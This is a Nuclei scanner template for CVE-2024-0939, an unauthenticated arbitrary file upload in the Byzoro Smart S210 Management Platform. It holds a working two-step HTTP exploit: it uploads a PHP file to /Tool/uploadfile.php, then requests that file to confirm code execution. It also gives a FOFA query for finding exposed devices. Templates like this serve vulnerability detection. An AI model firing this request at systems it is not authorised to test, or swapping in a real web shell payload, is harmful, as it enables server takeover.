nuclei-templates/http/cves/2024/CVE-2024-0939.yaml

70 lines
2.1 KiB
YAML
Raw Normal View History

2024-06-18 13:05:24 +00:00
id: CVE-2024-0939
info:
name: Smart S210 Management Platform - Arbitary File Upload
author: DhiyaneshDk
severity: critical
description: |
A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0939
- https://vuldb.com/?ctiid.252184
- https://vuldb.com/?id.252184
- https://vuldb.com/?submit.269268
- https://github.com/tanjiti/sec_profile
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-0939
cwe-id: CWE-434
epss-score: 0.00063
epss-percentile: 0.2659
cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: byzoro
product: smart_s210_firmware
fofa-query: body="Smart管理平台"
tags: cve,cve2024,smart,file-upload,intrusive,rce
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
num1: "{{rand_int(800000, 999999)}}"
num2: "{{rand_int(800000, 999999)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
POST /Tool/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
Accept-Encoding: gzip, deflate, br
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
<?php print({{num1}}*{{num2}}); ?>
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="txt_path"
/home/{{filename}}.php
------WebKitFormBoundarywnsogfin--
- |
GET /home/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '{{result}}'
- type: status
status:
- 200